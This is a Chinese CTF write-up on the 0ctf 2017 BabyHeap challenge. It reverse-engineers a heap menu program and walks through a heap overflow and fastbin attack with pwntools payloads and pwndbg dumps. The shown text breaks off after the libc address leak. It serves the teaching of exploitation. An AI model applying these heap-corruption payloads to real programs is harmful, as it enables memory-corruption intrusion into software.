fastbin_attack中的Arbitrary Alloc(例题)

题目来源:0ctf 2017 BabyHeap

参考资料:

PWN入门(3-11-3)-fastbin_attack中的Arbitrary Alloc(例题) (yuque.com)

BUU-PWN题(1-40) (yuque.com)

以babyheap_0ctf_2017学习fasbin attack_0xCCCC9090的博客-CSDN博客

https://mp.weixin.qq.com/s/HG3W06njO7DxU7bF86Gddw

https://www.cnblogs.com/luoleqi/p/12349714.html#allocate-%E5%87%BD%E6%95%B0

附件:

链接:https://pan.baidu.com/s/19CZGTuoy_xSow52t0sRSyg
提取码:1ezz
–来自百度网盘超级会员V3的分享

实验环境

将文件下载,首先检查文件的保护情况:

image-20230809161138744

可以看到保护全开,回顾一下各个保护:

​ Arch: amd64-64-little

这个说明程序是64位程序,小端序

​ RELRO: Full RELRO

Full RELRO开启,使整个GOT只读,从而无法被覆盖,进一步来说GOT表无法被修改

​ Stack: Canary found

对使用随机数每个函数进行保护,防止栈溢出

​ NX: NX enabled

不能向栈上直接注入shellcode

​ PIE: PIE enabled

地址随机化

来看一下我都Linux环境:

Ubuntu版本:

image-20230809162350506

libc版本:

image-20230809162450293

libc的大致信息以及校验值:

image-20230809164346226

工具下载

https://github.com/bash-c/main_arena_offset

逆向分析

先运行一下程序,熟悉大致功能

image-20230809165524162

程序有四个功能

  • Allocate:分配内存大小并给出 index
  • Fill:输入 index ,并分配内存进行内容写入操作
  • Free:输入 index ,释放相应的内存空间
  • Dump:输入 index ,打印内容

整个程序相当于一个堆内存管理器

静态分析

get_addr函数(生成随机地址)

image-20230809171121420

这个函数可以使程序堆块信息存放在随机地址中,而不是固定的地址,因此我们很难通过找到存放堆块信息的地址来修改其地址从而控制程序的流程。

程序流程图

image-20230809165751038

1、Allocate函数(开辟堆空间)

这里分配内存使用calloc,会将内存置0。

image-20230809165840906

  • 分配的大小不能超过 4096 字节
  • *(24LL * i + a1):置 1 表示 chunk 已经创建
  • *(a1 + 24LL * i + 8):存储 chunk 的大小
  • *(a1 + 24LL * i + 16):存储 chunk 的地址

根据用户输入分配堆空间,地址存储到索引表中,一块索引的信息是24字节,第一个8字节记录此索引是否被使用,第二个8字节代表分配的大小,第三个8字节是分配的地址,指向chunk。

image-20230809170217070

2、Fill 函数(填充堆内容)

没有对用户输入的size过滤,存在堆溢出漏洞

image-20230809170436215

  • 先判断对应位是否为 1 ,即 chunk 是否存在
  • 如果存在把输入的内容写入 *(24LL * v2 + a1 + 16) 对应的地址中。(在这里即写入到堆块中)
  • 同时这里没有对 v3 的大小做限制,存在堆溢出

3、Free函数(释放堆空间)

Free函数释放内存空间,同时将索引表中指针置0,不存在uaf漏洞

image-20230809170645081

4、Dump 函数(打印堆内容)

image-20230809170807150

  • 先判断对应位是否为 1 ,即 chunk 是否存在
  • 如果存在,输出对应索引 chunk 的内容,注意读取内容的大小是在索引表中的记录的大小,也就是一开始分配的大小,不是chunk的size字段大小。

gdb动态调试

因为之前有个get_addr生成随机地址这个函数,其中指针也存放在那里。

关闭ALSR保护

由于这个程序开启了PIE保护,为了方便调试程序及查看堆内存,因此我们将Linux的ALSR(地址空间随机化)进行关闭。

1
sysctl -w kernel.randomize_va_space=0

是一种临时改变随机策略的方法,重启之后将恢复默认。

第一次gdb调试内存布局

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x53492d00e000 0x53492d00f000 rw-p 1000 0
0x555555554000 0x555555556000 r-xp 2000 0
0x555555755000 0x555555756000 r--p 1000 1000
0x555555756000 0x555555757000 rw-p 1000 2000
0x555555757000 0x555555778000 rw-p 21000 0 [heap]
0x7ffff7a0d000 0x7ffff7bcd000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7bcd000 0x7ffff7dcd000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dcd000 0x7ffff7dd1000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd1000 0x7ffff7dd3000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd3000 0x7ffff7dd7000 rw-p 4000 0
0x7ffff7dd7000 0x7ffff7dfd000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7fdc000 0x7ffff7fdf000 rw-p 3000 0
0x7ffff7ff7000 0x7ffff7ffa000 r--p 3000 0 [vvar]
0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso]
0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 25000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 26000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]

第二次gdb调试内存布局

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x156828fed000 0x156828fee000 rw-p 1000 0
0x555555554000 0x555555556000 r-xp 2000 0
0x555555755000 0x555555756000 r--p 1000 1000
0x555555756000 0x555555757000 rw-p 1000 2000
0x555555757000 0x555555778000 rw-p 21000 0 [heap]
0x7ffff7a0d000 0x7ffff7bcd000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7bcd000 0x7ffff7dcd000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dcd000 0x7ffff7dd1000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd1000 0x7ffff7dd3000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd3000 0x7ffff7dd7000 rw-p 4000 0
0x7ffff7dd7000 0x7ffff7dfd000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7fdc000 0x7ffff7fdf000 rw-p 3000 0
0x7ffff7ff7000 0x7ffff7ffa000 r--p 3000 0 [vvar]
0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso]
0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 25000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 26000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]

通过对比发现,变动的只有第一行的地址:

1
2
3
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x53492d00e000 0x53492d00f000 rw-p 1000 0 (第一次gdb调试)
0x156828fed000 0x156828fee000 rw-p 1000 0 (第二次gdb调试)

到这里,可以猜测一下,程序的指针应该也存放在这篇内存区域中。

image-20230809173539570

因为是重新调试了一下,所以图片地址和上述有差异,但是可以确定的是程序结构体中指针存放的位置。

漏洞利用思路

从上面的内容可以看出,主要的漏洞是任意长度堆溢出。由于该程序几乎开启了所有保护,所以我们必须要有一些泄露才可以控制程序的流程。基本利用思路如下:

  • 利用unsorted bin地址泄露libc基地址。
  • 利用fastbin attack中的Arbitrary Alloc技术将chunk分配到malloc_hook附近。

1、leak libc addr

1-1、模仿程序的功能

根据上面得到的程序信息,首先模拟程序功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def alloc(size):
sh.recvuntil('Command: ')
sh.sendline('1')
sh.recvuntil('Size: ')
sh.sendline(str(size))

def fill(index,size,content):
sh.recvuntil('Command: ')
sh.sendline(str(2))
sh.recvuntil('Index: ')
sh.sendline(str(index))
sh.recvuntil('Size: ')
sh.sendline(str(size))
sh.recvuntil('Content: ')
sh.sendline(content)

def delete(index):
sh.recvuntil('Command: ')
sh.sendline('3')
sh.recvuntil('Index: ')
sh.sendline(str(index))

def dump(index):
sh.recvuntil('Command: ')
sh.sendline('4')
sh.recvuntil('Index: ')
sh.sendline(str(index))
sh.recvline()
return sh.recvline()

1-2、申请5个chunk

由于我们希望使用unsorted bin来泄露libc基地址,所以必须要有chunk可以被链接到unsorted bin中,所以该chunk不能被回收到fastbin chunk,也不能和top chunk相邻。因为后者在不是fastbin的情况下,会被合并到top chunk中。

1
2
3
4
5
alloc(0x10)#index0
alloc(0x10)#index1
alloc(0x10)#index2
alloc(0x10)#index3
alloc(0x80)#index4

执行完此payload之后的heap情况如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> x/30gx 0x555555757000
0x555555757000: 0x0000000000000000 0x0000000000000021 #index0
0x555555757010: 0x0000000000000000 0x0000000000000000
0x555555757020: 0x0000000000000000 0x0000000000000021 #index1
0x555555757030: 0x0000000000000000 0x0000000000000000
0x555555757040: 0x0000000000000000 0x0000000000000021 #index2
0x555555757050: 0x0000000000000000 0x0000000000000000
0x555555757060: 0x0000000000000000 0x0000000000000021 #index3
0x555555757070: 0x0000000000000000 0x0000000000000000
0x555555757080: 0x0000000000000000 0x0000000000000091 #index4
0x555555757090: 0x0000000000000000 0x0000000000000000
0x5555557570a0: 0x0000000000000000 0x0000000000000000
0x5555557570b0: 0x0000000000000000 0x0000000000000000
......(省略)
0x555555757100: 0x0000000000000000 0x0000000000000000
0x555555757110: 0x0000000000000000 0x0000000000020ef1 #top_chunk
0x555555757120: 0x0000000000000000 0x0000000000000000

此时程序结构体中情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> x/30gx 0x14feaceed640
0x14feaceed640: 0x0000000000000001 0x0000000000000010
0x14feaceed650: 0x0000555555757010 0x0000000000000001
#index0
0x14feaceed660: 0x0000000000000010 0x0000555555757030
#index1
0x14feaceed670: 0x0000000000000001 0x0000000000000010
0x14feaceed680: 0x0000555555757050 0x0000000000000001
#index2
0x14feaceed690: 0x0000000000000010 0x0000555555757070
#index3
0x14feaceed6a0: 0x0000000000000001 0x0000000000000080
0x14feaceed6b0: 0x0000555555757090 0x0000000000000000
#index4
0x14feaceed6c0: 0x0000000000000000 0x0000000000000000
0x14feaceed6d0: 0x0000000000000000 0x0000000000000000
0x14feaceed6e0: 0x0000000000000000 0x0000000000000000
0x14feaceed6f0: 0x0000000000000000 0x0000000000000000
0x14feaceed700: 0x0000000000000000 0x0000000000000000
0x14feaceed710: 0x0000000000000000 0x0000000000000000
0x14feaceed720: 0x0000000000000000 0x0000000000000000

1-3、free创建的index1和index2

1
2
3
4
#free两个,这时候会放到fastbin中,而且因为是后进的,所以
#fastbin[0]->index2->index1->NULL
free(1)
free(2)

执行此部分payload,来看一下堆状况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> x/50gx 0x555555757000
0x555555757000: 0x0000000000000000 0x0000000000000021 #index0
0x555555757010: 0x0000000000000000 0x0000000000000000
0x555555757020: 0x0000000000000000 0x0000000000000021 #index1
0x555555757030: 0x0000000000000000 0x0000000000000000
0x555555757040: 0x0000000000000000 0x0000000000000021 #index2
0x555555757050: 0x0000555555757020 0x0000000000000000
#fd指针指向index1的起始地址
0x555555757060: 0x0000000000000000 0x0000000000000021 #index3
0x555555757070: 0x0000000000000000 0x0000000000000000
0x555555757080: 0x0000000000000000 0x0000000000000091 #index4
0x555555757090: 0x0000000000000000 0x0000000000000000
0x5555557570a0: 0x0000000000000000 0x0000000000000000
0x5555557570b0: 0x0000000000000000 0x0000000000000000
0x5555557570c0: 0x0000000000000000 0x0000000000000000
0x5555557570d0: 0x0000000000000000 0x0000000000000000
0x5555557570e0: 0x0000000000000000 0x0000000000000000
0x5555557570f0: 0x0000000000000000 0x0000000000000000
0x555555757100: 0x0000000000000000 0x0000000000000000
0x555555757110: 0x0000000000000000 0x0000000000020ef1 #top_chunk

此时的bin和main_arena情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
pwndbg> bin
fastbins
0x20: 0x555555757040 —▸ 0x555555757020 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty


pwndbg> x/30gx &main_arena
0x7ffff7dd1b20 <main_arena>: 0x0000000000000000 0x0000555555757040 #index2
0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b50 <main_arena+48>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b60 <main_arena+64>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b70 <main_arena+80>: 0x0000000000000000 0x0000555555757110 #top_chunk
0x7ffff7dd1b80 <main_arena+96>: 0x0000000000000000 0x00007ffff7dd1b78
0x7ffff7dd1b90 <main_arena+112>: 0x00007ffff7dd1b78 0x00007ffff7dd1b88
0x7ffff7dd1ba0 <main_arena+128>: 0x00007ffff7dd1b88 0x00007ffff7dd1b98
0x7ffff7dd1bb0 <main_arena+144>: 0x00007ffff7dd1b98 0x00007ffff7dd1ba8
0x7ffff7dd1bc0 <main_arena+160>: 0x00007ffff7dd1ba8 0x00007ffff7dd1bb8
0x7ffff7dd1bd0 <main_arena+176>: 0x00007ffff7dd1bb8 0x00007ffff7dd1bc8
0x7ffff7dd1be0 <main_arena+192>: 0x00007ffff7dd1bc8 0x00007ffff7dd1bd8
0x7ffff7dd1bf0 <main_arena+208>: 0x00007ffff7dd1bd8 0x00007ffff7dd1be8
0x7ffff7dd1c00 <main_arena+224>: 0x00007ffff7dd1be8 0x00007ffff7dd1bf8

程序的结构体状况如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> x/50gx 0x4b12e9dd3000
0x4b12e9dd3000: 0x0000000000000001 0x0000000000000010
#index0
0x4b12e9dd3010: 0x0000555555757010 0x0000000000000000
#index1(chunk_flag置0
0x4b12e9dd3020: 0x0000000000000000 0x0000000000000000
#chunk_content_size置零 #chunk_data_ptr置空
0x4b12e9dd3030: 0x0000000000000000 0x0000000000000000
#index2(chunk_flag置0) #chunk_content_size置零
0x4b12e9dd3040: 0x0000000000000000 0x0000000000000001
#chunk_data_ptr置空 #index3
0x4b12e9dd3050: 0x0000000000000010 0x0000555555757070
0x4b12e9dd3060: 0x0000000000000001 0x0000000000000080
#index4
0x4b12e9dd3070: 0x0000555555757090 0x0000000000000000

注意:chunk_content_size和chunk中的size字段时不相同的。

程序在Allocate时是根据content_size来创建堆块的,而在fill时input函数并不会修改content_size和chunk的size域。

1-4、对index0进行fill操作,溢出修改index2的fd指针

1
2
3
4
5
6
payload = p64(0) * 3
payload += p64(0x21)
payload += p64(0) * 3
payload += p64(0x21)
payload += p8(0x80)
fill(0,payload)

这一小段的payload目的是把 chunk 2 的内容覆盖为 chunk 4 的地址,这样相当于 chunk 4 已经被 free 了而且被存放在 fastbin 中。由index2->index1变为index2->inddex4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pwndbg> x/50gx 0x555555757000
0x555555757000: 0x0000000000000000 0x0000000000000021 #index0
0x555555757010: 0x0000000000000000 0x0000000000000000
#payload从这里开始修改堆块内容
0x555555757020: 0x0000000000000000 0x0000000000000021 #index1
0x555555757030: 0x0000000000000000 0x0000000000000000
0x555555757040: 0x0000000000000000 0x0000000000000021 #index2(fastbin)
0x555555757050: 0x0000555555757080 0x0000000000000000
#此处的fd指针已经被修改了
0x555555757060: 0x0000000000000000 0x0000000000000021 #index3
0x555555757070: 0x0000000000000000 0x0000000000000000
0x555555757080: 0x0000000000000000 0x0000000000000091 #index4(fastbin)
0x555555757090: 0x0000000000000000 0x0000000000000000
0x5555557570a0: 0x0000000000000000 0x0000000000000000
0x5555557570b0: 0x0000000000000000 0x0000000000000000
0x5555557570c0: 0x0000000000000000 0x0000000000000000
0x5555557570d0: 0x0000000000000000 0x0000000000000000
0x5555557570e0: 0x0000000000000000 0x0000000000000000
0x5555557570f0: 0x0000000000000000 0x0000000000000000
0x555555757100: 0x0000000000000000 0x0000000000000000
0x555555757110: 0x0000000000000000 0x0000000000020ef1 #top_chunk

结构体未发生改变。

1-5、对index进行fill,将index4的大小修改为0x21

1
2
3
4
#我们等下要 malloc 回 chunk 4 ,可是 malloc fastbin 有检查, chunksize 必须与相应的 #fastbin_index 匹配,所以我们需要覆盖 chunk 4 的 size 为 fastbin 大小
payload = p64(0) * 3
payload += p64(0x21)
fill(3,payload)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pwndbg> x/50gx 0x555555757000
0x555555757000: 0x0000000000000000 0x0000000000000021 #index0
0x555555757010: 0x0000000000000000 0x0000000000000000
#payload从这里开始修改堆块内容
0x555555757020: 0x0000000000000000 0x0000000000000021 #index1
0x555555757030: 0x0000000000000000 0x0000000000000000
0x555555757040: 0x0000000000000000 0x0000000000000021 #index2(fastbin)
0x555555757050: 0x0000555555757080 0x0000000000000000
#此处的fd指针已经被修改了
0x555555757060: 0x0000000000000000 0x0000000000000021 #index3
0x555555757070: 0x0000000000000000 0x0000000000000000
0x555555757080: 0x0000000000000000 0x0000000000000021 #index4(fastbin)
0x555555757090: 0x0000000000000000 0x0000000000000000
0x5555557570a0: 0x0000000000000000 0x0000000000000000
0x5555557570b0: 0x0000000000000000 0x0000000000000000
0x5555557570c0: 0x0000000000000000 0x0000000000000000
0x5555557570d0: 0x0000000000000000 0x0000000000000000
0x5555557570e0: 0x0000000000000000 0x0000000000000000
0x5555557570f0: 0x0000000000000000 0x0000000000000000
0x555555757100: 0x0000000000000000 0x0000000000000000
0x555555757110: 0x0000000000000000 0x0000000000020ef1 #top_chunk

再次强调一下,在申请fastbin内存时,会检查被释放堆块的size(大小)是否在fastbin的范围内,如果不在,程序则异常退出,这有关于fastbin的机制。

结构体未发生改变。

1-6、申请index4

1
2
3
4
#改好的index4的大小之后申请两次,这样就把原来的fastbin中的给申请出来了
alloc(0x10)
alloc(0x10)
#申请成功之后index2就指向index4

执行这部分payload之后,第一个malloc会先分配Index2给我们(fastbin分配原则是LIFO即后进先出),第二个malloc会将index4分配给我们。

此时的内存:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pwndbg> x/50gx 0x555555757000
0x555555757000: 0x0000000000000000 0x0000000000000021 #index0
0x555555757010: 0x0000000000000000 0x0000000000000000
0x555555757020: 0x0000000000000000 0x0000000000000021 #index1
0x555555757030: 0x0000000000000000 0x0000000000000000
0x555555757040: 0x0000000000000000 0x0000000000000021 #index2
0x555555757050: 0x0000000000000000 0x0000000000000000
0x555555757060: 0x0000000000000000 0x0000000000000021 #index3
0x555555757070: 0x0000000000000000 0x0000000000000000
0x555555757080: 0x0000000000000000 0x0000000000000021 #index4
0x555555757090: 0x0000000000000000 0x0000000000000000
0x5555557570a0: 0x0000000000000000 0x0000000000000000
0x5555557570b0: 0x0000000000000000 0x0000000000000000
0x5555557570c0: 0x0000000000000000 0x0000000000000000
0x5555557570d0: 0x0000000000000000 0x0000000000000000
0x5555557570e0: 0x0000000000000000 0x0000000000000000
0x5555557570f0: 0x0000000000000000 0x0000000000000000
0x555555757100: 0x0000000000000000 0x0000000000000000
0x555555757110: 0x0000000000000000 0x0000000000020ef1 #top_chunk

此时的结构体状况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0x54d0942169b0:	0x0000000000000001	0x0000000000000010
#index0
0x54d0942169c0: 0x0000555555757010 0x0000000000000001
#index1(chunk_flag改变)
0x54d0942169d0: 0x0000000000000010 0x0000555555757050
#chunk_content_size(改变) #chunk_data_ptr(改变)
0x54d0942169e0: 0x0000000000000001 0x0000000000000010
#index2(chunk_flag改变) #chunk_data_size(改变)
0x54d0942169f0: 0x0000555555757090 0x0000000000000001
##chunk_data_ptr(改变) #index3
0x54d094216a00: 0x0000000000000010 0x0000555555757070
0x54d094216a10: 0x0000000000000000 0x0000000000000000
#index4
0x54d094216a20: 0x0000000000000000 0x0000000000000001
0x54d094216a30: 0x0000000000000080 0x0000555555757120

此时我们有两个地方指向chunk4:

  • note4的content
  • note2的content 第二个alloc得到的是index为2的note,这与alloc函数有关,可以看前面的ida代码。

也就是说,假如我们现在要fill index2的内容,那么其实上是修改index4的内容。

1-7、修改index4的size为0x91

1
2
3
4
#为了让index4能够被放到unsortedbin中,要把它的大小改回来
payload = p64(0)*3
payload += p64(0x91)
fill(3, payload)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pwndbg> x/50gx 0x555555757000
0x555555757000: 0x0000000000000000 0x0000000000000021 #index0
0x555555757010: 0x0000000000000000 0x0000000000000000
0x555555757020: 0x0000000000000000 0x0000000000000021 #index1
0x555555757030: 0x0000000000000000 0x0000000000000000
0x555555757040: 0x0000000000000000 0x0000000000000021 #index2
0x555555757050: 0x0000000000000000 0x0000000000000000
0x555555757060: 0x0000000000000000 0x0000000000000021 #index3
0x555555757070: 0x0000000000000000 0x0000000000000000
0x555555757080: 0x0000000000000000 0x0000000000000091 #index4
0x555555757090: 0x0000000000000000 0x0000000000000000
0x5555557570a0: 0x0000000000000000 0x0000000000000000
0x5555557570b0: 0x0000000000000000 0x0000000000000000
0x5555557570c0: 0x0000000000000000 0x0000000000000000
0x5555557570d0: 0x0000000000000000 0x0000000000000000
0x5555557570e0: 0x0000000000000000 0x0000000000000000
0x5555557570f0: 0x0000000000000000 0x0000000000000000
0x555555757100: 0x0000000000000000 0x0000000000000000
0x555555757110: 0x0000000000000000 0x0000000000020ef1 #top_chunk

1-8、申请新堆块–index5

1
2
#再申请一个堆块(index5)防止index4与top chunk合并了。
alloc(0x80)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
pwndbg>  x/50gx 0x555555757000
0x555555757000: 0x0000000000000000 0x0000000000000021 #index0
0x555555757010: 0x0000000000000000 0x0000000000000000
0x555555757020: 0x0000000000000000 0x0000000000000021 #index1
0x555555757030: 0x0000000000000000 0x0000000000000000
0x555555757040: 0x0000000000000000 0x0000000000000021 #index2
0x555555757050: 0x0000000000000000 0x0000000000000000
0x555555757060: 0x0000000000000000 0x0000000000000021 #index3
0x555555757070: 0x0000000000000000 0x0000000000000000
0x555555757080: 0x0000000000000000 0x0000000000000091 #index4
0x555555757090: 0x0000000000000000 0x0000000000000000
0x5555557570a0: 0x0000000000000000 0x0000000000000000
0x5555557570b0: 0x0000000000000000 0x0000000000000000
0x5555557570c0: 0x0000000000000000 0x0000000000000000
0x5555557570d0: 0x0000000000000000 0x0000000000000000
0x5555557570e0: 0x0000000000000000 0x0000000000000000
0x5555557570f0: 0x0000000000000000 0x0000000000000000
0x555555757100: 0x0000000000000000 0x0000000000000000
0x555555757110: 0x0000000000000000 0x0000000000000091 #index5
0x555555757120: 0x0000000000000000 0x0000000000000000
0x555555757130: 0x0000000000000000 0x0000000000000000
0x555555757140: 0x0000000000000000 0x0000000000000000
0x555555757150: 0x0000000000000000 0x0000000000000000
0x555555757160: 0x0000000000000000 0x0000000000000000
0x555555757170: 0x0000000000000000 0x0000000000000000
0x555555757180: 0x0000000000000000 0x0000000000000000
0x555555757190: 0x0000000000000000 0x0000000000000000
0x5555557571a0: 0x0000000000000000 0x0000000000020e61 top_chunk

程序结构体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0x54d0942169b0:	0x0000000000000001	0x0000000000000010
#index0
0x54d0942169c0: 0x0000555555757010 0x0000000000000001
#index1
0x54d0942169d0: 0x0000000000000010 0x0000555555757050
0x54d0942169e0: 0x0000000000000001 0x0000000000000010
#index2
0x54d0942169f0: 0x0000555555757090 0x0000000000000001
#index3
0x54d094216a00: 0x0000000000000010 0x0000555555757070
0x54d094216a10: 0x0000000000000000 0x0000000000000000
#index4
0x54d094216a20: 0x0000000000000000 0x0000000000000001
#index5(此处发生了改变)
0x54d094216a30: 0x0000000000000080 0x0000555555757120
#(此处发生了改变) #(此处发生了改变)

1-9、free(index4),将index4放入unsortedbin中

1
free(4)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x555555757080 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x555555757080
smallbins
empty
largebins
empty

pwndbg> heap
0x555555757000 FASTBIN {
prev_size = 0,
size = 33,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x21
}
0x555555757020 FASTBIN {
prev_size = 0,
size = 33,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x21
}
0x555555757040 FASTBIN {
prev_size = 0,
size = 33,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x21
}
0x555555757060 FASTBIN {
prev_size = 0,
size = 33,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x91
}
0x555555757080 PREV_INUSE {
prev_size = 0,
size = 145,
fd = 0x7ffff7dd1b78 <main_arena+88>,
bk = 0x7ffff7dd1b78 <main_arena+88>,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x555555757110 {
prev_size = 144,
size = 144,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x5555557571a0 PREV_INUSE {
prev_size = 0,
size = 134753,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}


pwndbg> x/16gx &main_arena
0x7ffff7dd1b20 <main_arena>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b50 <main_arena+48>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b60 <main_arena+64>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b70 <main_arena+80>: 0x0000000000000000 0x00005555557571a0 #top_chunk
0x7ffff7dd1b80 <main_arena+96>: 0x0000000000000000 0x0000555555757080 #unsortedbin
0x7ffff7dd1b90 <main_arena+112>: 0x0000555555757080 0x00007ffff7dd1b88

pwndbg> x/30gx 0x555555757000
0x555555757000: 0x0000000000000000 0x0000000000000021 #index0
0x555555757010: 0x0000000000000000 0x0000000000000000
0x555555757020: 0x0000000000000000 0x0000000000000021 #index1
0x555555757030: 0x0000000000000000 0x0000000000000000
0x555555757040: 0x0000000000000000 0x0000000000000021 #index2
0x555555757050: 0x0000000000000000 0x0000000000000000
0x555555757060: 0x0000000000000000 0x0000000000000021 #index3
0x555555757070: 0x0000000000000000 0x0000000000000000
0x555555757080: 0x0000000000000000 0x0000000000000091 #index4(unsortedbin)
0x555555757090: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x5555557570a0: 0x0000000000000000 0x0000000000000000
0x5555557570b0: 0x0000000000000000 0x0000000000000000
0x5555557570c0: 0x0000000000000000 0x0000000000000000
0x5555557570d0: 0x0000000000000000 0x0000000000000000
0x5555557570e0: 0x0000000000000000 0x0000000000000000
0x5555557570f0: 0x0000000000000000 0x0000000000000000
0x555555757100: 0x0000000000000000 0x0000000000000000
0x555555757110: 0x0000000000000090 0x0000000000000090 #index5
0x555555757120: 0x0000000000000000 0x0000000000000000
0x555555757130: 0x0000000000000000 0x0000000000000000
0x555555757140: 0x0000000000000000 0x0000000000000000
0x555555757150: 0x0000000000000000 0x0000000000000000
0x555555757160: 0x0000000000000000 0x0000000000000000
0x555555757170: 0x0000000000000000 0x0000000000000000
0x555555757180: 0x0000000000000000 0x0000000000000000
0x555555757190: 0x0000000000000000 0x0000000000000000
0x5555557571a0: 0x0000000000000000 0x0000000000020e61 #top_chunk
0x5555557571b0: 0x0000000000000000 0x0000000000000000
0x5555557571c0: 0x0000000000000000 0x0000000000000000
0x5555557571d0: 0x0000000000000000 0x0000000000000000

当unsortedbin里只有一个空闲的chunk时,该chunk的fd指针和bk指针均指向unsortedbin本身。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0x54d0942169b0:	0x0000000000000001	0x0000000000000010
#index0
0x54d0942169c0: 0x0000555555757010 0x0000000000000001
#index1
0x54d0942169d0: 0x0000000000000010 0x0000555555757050
0x54d0942169e0: 0x0000000000000001 0x0000000000000010
#index2
0x54d0942169f0: 0x0000555555757090 0x0000000000000001
#index3
0x54d094216a00: 0x0000000000000010 0x0000555555757070
0x54d094216a10: 0x0000000000000000 0x0000000000000000
#index4(此处发生了改变) #(此处发生了改变)
0x54d094216a20: 0x0000000000000000 0x0000000000000001
#(此处发生了改变) #index5(此处发生了改变)
0x54d094216a30: 0x0000000000000080 0x0000555555757120

1-10、计算libc基址

这时查看我们的内存分布:

image-20230809210453486

1
libc基址就是0x7ffff7a0d000

